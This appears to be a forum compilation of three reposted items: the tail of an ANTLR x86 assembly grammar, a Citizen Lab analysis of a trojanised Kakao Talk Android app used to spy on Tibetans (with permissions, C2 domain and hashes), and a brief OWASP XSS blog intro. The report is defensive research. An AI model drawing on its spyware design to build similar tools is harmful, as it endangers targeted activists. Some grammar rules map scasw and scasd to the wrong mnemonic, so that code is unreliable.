MNEMONIC["movzx"] ; out : 'out' literal_8 ',' accumulator -> ^(INSTRUCTION MNEMONIC["out"] ^(OPERANDS ^(OPERAND literal_8) ^(OPERAND accumulator))) | 'out' 'dx' ',' accumulator -> ^(INSTRUCTION MNEMONIC["out"] ^(OPERANDS ^(OPERAND REGISTER_16["dx"]) ^(OPERAND accumulator))) ; push : 'push' complex_target_operand_16 -> ^(INSTRUCTION MNEMONIC["push"] ^(OPERANDS complex_target_operand_16)) | 'push' complex_source_operand_32 -> ^(INSTRUCTION MNEMONIC["push"] ^(OPERANDS complex_source_operand_32)) ; rotate_instructions : rotate_mnemonic regmem ',' literal_8 -> rotate_mnemonic ^(OPERANDS ^(OPERAND regmem) ^(OPERAND literal_8)) | rotate_mnemonic regmem ',' 'cl' -> rotate_mnemonic ^(OPERANDS ^(OPERAND regmem) ^(OPERAND REGISTER_8["cl"])) ; rotate_mnemonic : 'rcl' -> MNEMONIC["rcl"] | 'rcr' -> MNEMONIC["rcr"] | 'rol' -> MNEMONIC["rol"] | 'ror' -> MNEMONIC["ror"] | 'sal' -> MNEMONIC["sal"] | 'sar' -> MNEMONIC["sar"] | 'shl' -> MNEMONIC["shl"] | 'shr' -> MNEMONIC["shr"] ; string_instructions : rep_instructions | repe_instructions ; rep_instructions : 'rep' rep_instruction_mnemonics -> ^(PREFIX["rep"] rep_instruction_mnemonics) ; repe_instructions : 'repe' repe_instruction_mnemonics -> ^(PREFIX["repe"] repe_instruction_mnemonics) | 'repne' repe_instruction_mnemonics -> ^(PREFIX["repne"] repe_instruction_mnemonics) ; rep_instruction_mnemonics : movs_mnemonics | lods_mnemonics | stos_mnemonics ; movs_mnemonics : 'movsb' -> MNEMONIC["movsb"] | 'movsw' -> MNEMONIC["movsw"] | 'movsd' -> MNEMONIC["movsd"] ; lods_mnemonics : 'lodsb' -> MNEMONIC["lodsb"] | 'lodsw' -> MNEMONIC["lodsw"] | 'lodsd' -> MNEMONIC["lodsd"] ; stos_mnemonics : 'stosb' | 'stosw' | 'stosd' ; repe_instruction_mnemonics : cmps_mnemonics | scas_mnemonics ; cmps_mnemonics : 'cmpsb' -> MNEMONIC["cmpsb"] | 'cmpsw' -> MNEMONIC["cmpsw"] | 'cmpsd' -> MNEMONIC["cmpsd"] ; scas_mnemonics : 'scasb' -> MNEMONIC["scasb"] | 'scasw' -> MNEMONIC["scasb"] | 'scasd' -> MNEMONIC["scasb"] ; return_instructions : return_mnemonic literal_16? -> return_mnemonic ^(OPERANDS ^(OPERAND literal_16)) ; return_mnemonic : 'ret' -> MNEMONIC["ret"] | 'retn' -> MNEMONIC["retn"] | 'retf' -> MNEMONIC["retf"] ; set_instructions : set_mnemonic reg8 -> set_mnemonic ^(OPERANDS ^(OPERAND reg8)) | set_mnemonic mem8 -> set_mnemonic ^(OPERANDS ^(OPERAND mem8)) ; set_mnemonic : 'setae' -> MNEMONIC["setae"] | 'setnb' -> MNEMONIC["setnb"] | 'setb' -> MNEMONIC["setb"] | 'setnae' -> MNEMONIC["setnae"] | 'setbe' -> MNEMONIC["setbe"] | 'setna' -> MNEMONIC["setna"] | 'sete' -> MNEMONIC["sete"] | 'setz' -> MNEMONIC["setz"] | 'setne' -> MNEMONIC["setne"] | 'setnz' -> MNEMONIC["setnz"] | 'setl' -> MNEMONIC["setl"] | 'setnge' -> MNEMONIC["setnge"] | 'setge' -> MNEMONIC["setge"] | 'setnl' -> MNEMONIC["setnl"] | 'setle' -> MNEMONIC["setle"] | 'setng' -> MNEMONIC["setng"] | 'setg' -> MNEMONIC["setg"] | 'setnle' -> MNEMONIC["setnle"] | 'sets' -> MNEMONIC["sets"] | 'setns' -> MNEMONIC["setns"] | 'setc' -> MNEMONIC["setc"] | 'setnc' -> MNEMONIC["setnc"] | 'seto' -> MNEMONIC["seto"] | 'setno' -> MNEMONIC["setno"] | 'setp' -> MNEMONIC["setp"] | 'setpe' -> MNEMONIC["setpe"] | 'setnp' -> MNEMONIC["setnp"] | 'setpo' -> MNEMONIC["setpo"] ; double_shift_instructions : double_shift_mnemonic regmem_16 ',' reg16 ',' double_shift_third_operand -> double_shift_mnemonic ^(OPERANDS ^(OPERAND regmem_16) ^(OPERAND reg16) ^(OPERAND double_shift_third_operand)) | double_shift_mnemonic regmem_32 ',' reg32 ',' double_shift_third_operand -> double_shift_mnemonic ^(OPERANDS ^(OPERAND regmem_32) ^(OPERAND reg32) ^(OPERAND double_shift_third_operand)) ; double_shift_mnemonic : 'shrd' | 'shld' ; double_shift_third_operand : literal_8 | 'cl' ; Sursa: https://github.com/sporst/Reverse-Engineering-Scripts/tree/master/antlr_x86

[h=2]Permission to Spy: An Analysis of Android Malware Targeting Tibetans[/h] April 1, 2013 Download PDF Key Findings A compromised version of Kakao Talk, an Android-based mobile messaging client, was sent in a highly-targeted email to a prominent individual in the Tibetan community. This email message repurposed a legitimate private email message sent by an information security expert in the Tibetan community to a member of the Tibetan parliament-in-exile. This malware is designed to send a user’s contacts, SMS message history, and cellular network location to attackers. The cellular network information gathered by this malware would only be useful to actors with detailed knowledge of the cellular communication provider’s technical infrastructure. The compromised application was not detected as malware by any of the three mobile malware scanning applications we tested. Background This blog post is part of a series documenting the use of information operations against Tibetans and others who advocate for Tibetan rights and freedoms. This research is part of the Citizen Lab’s ongoing study of targeted cyber threats against human rights organizations. Prior research by the Citizen Lab has documented targeted malware sent to a Tibetan organization by the APT1 group, malware that repurposes privately-held content of Tibetan groups, and malware that leverages the issues of self-immolations amongst Tibetans and a European Parliament resolution on the human rights situation in Tibet. The incident described in this post stands out from our past reports given its use of malware designed for the Android platform. The attack repurposed a genuine private email message containing a legitimate Android Application Package File (APK) that was sent from an information security expert in the Tibetan community to a member of the Tibetan parliament-in-exile. It is likely that the attacker obtained the original message and attachment through a compromised email account of the parliament member. The attacker then sent the same message to another prominent member of the Tibetan community, but this time with a compromised version of the same Android APK containing malicious code. Malware targeting the Tibetan community has utilized a variety of platforms over time. The majority of targeted malware campaigns against the Tibetan community focus on Windows platforms. However, we have also seen attacks targeting Macs and the emergence of mobile malware. Additionally, during investigations of command and control (C2) servers associated with the Luckycat campaign [PDF], Trend Micro [PDF] found two malicious Android APKs in early stages of development that could collect device information and download and upload files by remote command. Based on the available information, it was not clear to Trend Micro how the attackers intended to deliver the mobile malware to targets. On March 26, 2013, researchers at Kaspersky reported on a compromise of an email account of a high-profile Tibetan activist, which was used by attackers to send targeted malware to the activist’s contact list. The targeted attacks leveraged email content about the World Uyghur Congress and included a malicious APK file purporting to be an app with information on the event. That malware allowed attackers to collect data from infected devices including contacts, call logs, SMS messages, geo-location, and phone data (phone number, OS version, phone model, SDK version). Attack Overview In January 2013, a Tibetan source provided the Citizen Lab with a forged email containing a compromised software installation package, in the form of an Android APK, for a mobile application called Kakao Talk. Kakao Talk is an application developed by a South Korean company that “allows its users to send and receive messages including photos, videos and contact information, both on a one-to-one basis and in groups, all for free.” Members of the Tibetan community have used Kakao Talk and other applications as alternatives to WeChat (a chat client rapidly rising in popularity) after concerns were raised regarding that application’s general security and the potential for Tencent (the Chinese company that provides the application) to monitor users at the behest of the Chinese government. On December 4, 2012, an information security expert who works within the Tibetan community sent a private email to a member of the Tibetan parliament-in-exile, based in Dharamsala, India. That email attached a genuine version of Kakao Talk and Tunein (an online radio application) as .apk files. On January 16, 2013, an email purporting to be from this same information security expert was sent to a high profile political figure in the Tibetan community. The email contained the same text as the message from December 4, but attached a compromised version of the same Kakao Talk Android APK, as seen below in Figure 1. Figure 1: Forged email containing compromised version of Kakao Talk APK (highlighted in red). The email spoofed the real address of the security expert who originally sent the legitimate message. The actual sender email address used by the attackers was uygur52@gmx.com. Technical Analysis Our analysis reveals that the legitimate Kakao Talk application was modified to include additional permission requests while preserving the core chat functionality and user interface of the application. (Hereafter this added functionality will be referred to as the “malware.”) In order for the malware to be installed, the user must permit applications to be installed from sources other than the Google Play store. This permission is not enabled by default in Android. However, as many members of the Tibetan community (particularly those inside Tibetan areas) have access to the Google Play service restricted, they are required to permit applications to be installed from outside sources, and circulating APKs outside of Google Play is common. In addition to permitting the “allow from unknown sources” option, the user must also must permit the additional permissions requested by the application. Users may be duped into accepting these permissions by assuming they are required for the regular functionality of the application or by not reviewing them carefully and approving. Once these permissions are approved, they are used to authorize the additional data-gathering capabilities of the malware, which is configured to autostart on device boot. The Kakao Talk application and malware were repackaged into the modified APK and signed with an illegitimate certificate. Both the original and illegitimate certificates are reproduced below. Notice that fields in the illegitimate certificate have been populated with what appears to be an assortment of nonsensical characters from a QWERTY keyboard: Original legitimate certificate: Owner: OU=kakaoteam, O=kakao, C=ko Issuer: OU=kakaoteam, O=kakao, C=ko Serial number: 4c707197 Valid from: Sat Aug 21 20:38:47 EDT 2010 until: Mon Jul 28 20:38:47 EDT 2110 Certificate fingerprints: MD5: 70:D4:94:75:18:38:25:BE:88:A1:BA:9A:50:30:DA:E3 SHA1: EC:C4:5B:90:2A:C1:E8:3C:8B:E1:75:8A:25:7E:67:49:2D:E3:74:56 Signature algorithm name: SHA1withRSA Version: 3 Illegitimate certificate: Owner: CN=qwe, OU=asd, O=zxc, L=rty, ST=fgh, C=vbn Issuer: CN=qwe, OU=asd, O=zxc, L=rty, ST=fgh, C=vbn Serial number: a3e5475 Valid from: Tue Jan 08 22:45:49 EST 2013 until: Wed Oct 12 23:45:49 EDT 2067 Certificate fingerprints: MD5: BC:04:8C:12:93:39:BE:B7:72:B3:62:E0:9C:B3:03:0B SHA1: A6:41:78:7B:93:FC:00:77:ED:61:AC:B9:10:9B:07:48:46:9A:76:EB Signature algorithm name: SHA1withDSA Version: 3 The following permissions are added by the malware and do not exist in the legitimate version: android.permission.GET_ACCOUNTS android.permission.ACCESS_NETWORK_STATE android.permission.READ_SMS android.permission.INTERNET android.permission.ACCESS_FINE_LOCATION android.permission.WRITE_SETTINGS android.permission.WRITE_SECURE_SETTINGS android.permission.WRITE_APN_SETTINGS android.permission.MOUNT_UNMOUNT_FILESYSTEMS android.permission.PROCESS_OUTGOING_CALLS android.permission.DEVICE_POWER adnroid.permission.ACCESS_CHECKIN_PROPERTTES android.permission.INTERNET adnroid.permission.CHANGE_WIFI_STATE android.permission.MODIFY_PHONE_STAT android.permission.BLUETOOTH_ADMIN android.permission.BLUETOOTH android.permission.BIND_DEVICE_ADMIN android.permission.USES_POLICY_FORCE_LOCK android.permission.CHANGE_CONFIGURATION Figure 2 below shows the difference in permissions between the legitimate and modified Kakao Talk software package. Users can display the permissions granted to an application by selecting ‘Apps’ from the settings menu. The sections highlighted in red show differences between the legitimate and illegitimate version of the application: Figure 2: Comparison of permissions between legitimate and illegitimate versions of Kakao Talk. Using these permissions, the malware performs the following actions of significant concern: On a periodic basis the user’s contacts, call history, SMS messages and cellular network configuration are written to an encrypted file called info.txt. Periodically contacts a command and control server (C2) “android.uyghur.dnsd.me” to retrieve updated configuration information such as URLs and login credentials. This configuration information directs the malware where to upload the info.txt file. The site hosting the C2 appears to emulate the appearance of the Baidu website (a Chinese search engine), but includes encrypted configuration data hidden in the comments. By masking the C2 as a seemingly innocuous website, requests would appear to be legitimate on casual inspection. The configuration data contained in the comments direct the malware to upload captured data from the device to an FTP server and contain a pointer to a new C2 that would allow the attackers to change the C2 should that need arise. Intercepts SMS messages and searches for a special code sent by a malicious actor, which if detected responds to the sender with the base station ID, tower ID, mobile network code and mobile area code of the phone in question. This message is not displayed to the user and they are never made aware of it. The fact that the malware silently responds to the SMS with such detailed technical information on the cellular phone network and topology is both troubling and curious. An unsophisticated actor would have little or no use for this information if they were simply interested in exfiltrating data from the user for purposes such as fraud, spam or identity theft. Nor can this information be easily used to place a person’s physical location — the malware is not responding with a convenient longitude and latitude. Detailed knowledge of the cellular network topology and configuration would be required to determine a user’s location, something unlikely to be in such an actor’s possession. This information is only useful to actors with access to the cellular communications provider and its technical infrastructure, such as large businesses and government. It almost certainly represents the information that a cellular service provider requires to initiate eavesdropping, often referred to as “trap & trace.” Actors at this level would also have access to the data required to perform radio frequency triangulation based on the signal data from multiple towers, placing the user within a small geographical area. However, it is also possible that this data is being gathered opportunistically by an actor without access to such cellular network information. We can only speculate on what may be done with the data that is collected. Of the additional permissions requested by the malware, some do not appear to be used, including GPS location, Bluetooth radio access, and phone sleep state. While these features are not currently being utilized, exploiting them could have serious consequences. For instance, Bluetooth functionality could potentially be used to enumerate devices (and through this other individuals) in close proximity to the compromised phone. The fact that these features are not currently utilized may indicate that the malware is still undergoing development. Further evidence suggests that the malware may be in the process of development. Two of the additional permissions requested by the malware are misspelled, rendering these permissions unusable: adnroid.permission.ACCESS_CHECKIN_PROPERTTES adnroid.permission.CHANGE_WIFI_STATE We ran three popular mobile antivirus scanners (provided by Avast, Lookout, and Kaspersky) on an Android handset with the compromised application installed. As seen in Figure 3, none of the three scanners detected the applications as malicious on two separate days of testing: February 6, 2013 and March 27, 2013. Therefore, at this time manual inspection of the applications permissions is required to detect the compromised application. Figure 3: Screen captures of three mobile malware scanning applications (from left to right, Avast, Lookout and Kaspersky) failing to detect the compromised version of Kakao Talk. The identifiers for the sample are listed below and further information is available on VirusTotal. [TABLE] [TR] [TD]MD5[/TD] [TD]cbc474e34f26b4afd02932d8cae9e401[/TD] [/TR] [TR] [TD]SHA-1[/TD] [TD]495b622d8209820022fe743c340b39e6e9313cd9[/TD] [/TR] [TR] [TD]SHA-256[/TD] [TD]9390a145806157cadc54ecd69d4ededc31534a19a1cebbb1824a9eb4febdc56d[/TD] [/TR] [/TABLE] Contextual Analysis While groups advocating for Tibetan rights have been the targets of persistent malware campaigns for many years, this attack stands out for a number of reasons. First, it targets a prominent member of the Tibetan community and leverages legitimate emails that attempt to encourage the use of alternatives to applications with security issues like WeChat when communicating with individuals in the Tibetan community. WeChat has been rapidly gaining popularity amongst Tibetans, including those in exile communities and individuals communicating sensitive information inside Tibetan areas. In addition, the discovery of this malware comes at a particularly sensitive time for Tibetans and those working on issues related to Tibetan human rights. The wave of self-immolations amongst Tibetans has led to an increasingly severe response from Chinese authorities. The practice of self-immolation among Tibetans has intensified significantly since Citizen Lab first examined information controls in Tibet in the wake of self-immolations over a year ago. As of April 1, 2013, 112 Tibetans have self-immolated. The Chinese government’s response to such practice has become increasingly hardline, with officials explicitly characterizing measures employed to maintain stability in Tibetan regions as a “crackdown” in March 2013. This hardening policy is perhaps an indication of the government’s view of the severity of the threat to its control presented by events in Tibet. The government and official media have characterized the underlying causes of self-immolation differently over time, gradually moving to the position that the practice is the result of the influence of “foreign hostile forces,” coordinated and encouraged by overseas Tibetan organizations as well as the Dalai Lama. The crackdown in Tibet against self-immolators and those who are alleged to incite them has already resulted in severe criminal sentences for some individuals, based in part on “evidence” of their digital contact with overseas groups. With official reliance on “evidence” of overseas contact as a basis for conviction and crackdown, it appears that Chinese authorities are specifically targeting mobile devices in China as a perceived means of communicating and organizing self-immolations. In March 2013, reports emerged from Lhasa that Chinese authorities had introduced restrictions against the use of mobile phones and had conducted a security sweep of mobile devices in the city’s monasteries in an attempt to limit the dissemination of images and text. Although we have no specific evidence linking these new restrictions to the targeted malware we found, the timing is certainly suggestive and warrants further exploration. Conclusion and Recommendations This incident demonstrates the capacity of attackers to rapidly adapt their techniques in response to changes in the communication methods used by targeted communities. In this case, Tibetan community members began discussing alternative applications to WeChat following concerns raised about its security. In a tit-for-tat response, attackers quickly leveraged this change, duplicating a legitimate message and producing a malicious version of an application being circulated as a possible alternative. The malicious APKs linked to the Luckycat campaign [PDF], the recent Android malware attacks reported by Kaspersky and the example presented here demonstrate that the Tibetan community is being actively targeted by mobile malware. The attack we analyzed and the malware reported by Kaspersky are not technically related. The malware binaries and command and control infrastructure are different and there is no clear indication from technical comparison of the two samples that the attacks were conducted by the same attacker(s). However, both attacks leveraged compromised email accounts of high profile members of the Tibetan community and also included reference to the Uyghur community (in the email lure of the sample reported by Kaspersky, and in the actual sender email “uygur52@gmx.com” and C2 domain “android.uyghur.dnsd.me” used in the attack we analyzed). Notably, authorities in China have also targeted use of the “‘Internet, mobile phones and digital storage devices’” by Uyghurs in the government’s campaign against the “three evils” of terrorism, separatism and extremism. These similarities are inconclusive, but suggest that mobile malware campaigns against these communities are likely to continue. These examples demonstrate the risks communities face from targeted mobile malware. Attackers will continue to adopt new methods and widen targeting of platforms. For communities under persistent threat from targeted malware campaigns, user vigilance and education are essential for reducing risk. The Citizen Lab recommends: That users exercise caution in opening unexpected or unsolicited attachments or opening unverified links. See Citizen Lab’s Recommendations for defending against targeted cyber threats for additional information, and Tibet Action Institute’s Detach from Attachments campaign. That users be aware of mobile malware and exercise caution when installing mobile applications. Users should pay close attention to the permissions requested by the malware, and should avoid installing applications that request permissions they do not need. The Guardian Project and other initiatives are developing secure mobile applications to help users protect their communications and personal data from intrusion and monitoring. That users consult the Tibet Action Institute’s Mobile Security resources, which are aimed at Tibetan audiences. Acknowledgements: This report is by the Citizen Lab Targeted Threats team. We are grateful to Dylan Neild for analysis and our Technical Advisory Group members, Morgan Marquis-Boire and Nart Villeneuve, for review and comments. Post written by Citizen Lab Sursa: https://citizenlab.org/2013/04/permission-to-spy-an-analysis-of-android-malware-targeting-tibetans/

[h=1]OWASP Top 10 for JavaScript - A2: Cross Site Scripting - XSS[/h]May 30, 2012 - 23:31 CEST - Tags: security xss owasp In this post I'll describe how OWASP Top 10: A2-Cross Site Scripting applies to javascript based applications. Cross site Scripting - or XSS - is probably one of the most common and one of the most difficult problems to fully mitigate. At first mitigation seems simple, but as contexts grow in complexity and the amount of code grows, it get's harder to discover all the different sinks. Tutorial: http://erlend.oftedal.no/blog/?blogid=127